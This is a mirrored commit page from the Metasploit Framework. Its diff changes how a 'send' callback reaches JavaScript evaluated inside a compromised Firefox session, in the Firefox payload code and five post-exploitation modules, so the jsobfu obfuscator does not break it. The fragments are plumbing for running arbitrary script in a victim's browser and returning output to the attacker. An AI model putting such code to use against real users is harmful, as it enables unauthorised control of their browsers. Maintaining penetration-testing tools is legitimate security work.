1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Pass #send in this so jsobfu is not confused.

This commit is contained in:
Joe Vennix 2014-09-24 15:07:14 -05:00
parent ec88957ff4
commit 5d234c0e01
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
6 changed files with 13 additions and 11 deletions

View File

@ -121,12 +121,14 @@ module Msf::Payload::Firefox
var retVal = null;
try {
retVal = Function('send', js[1])(function(r){
if (sent) return;
sent = true;
if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
else cb(false, r+tag+"\\n");
retVal = Function(js[1]).call({
send: function(r){
if (sent) return;
sent = true;
if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
else cb(false, r+tag+"\\n");
}
}
});
} catch (e) { retVal = e.message; }

View File

@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post
} catch (e) {
send(e);
}
})(send);
})(this.send);
|.strip
end
end

View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
} catch (e) {
send(e);
}
})(send);
})(this.send);
|.strip
end
end

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post
} catch (e) {
send(e);
}
})(send);
})(this.send);
|.strip
end
end

View File

@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post
};
setTimeout(evt, 200);
})(send);
})(this.send);
|.strip
end

View File

@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post
} catch (e) {
send(e);
}
})(send);
})(this.send);
|
end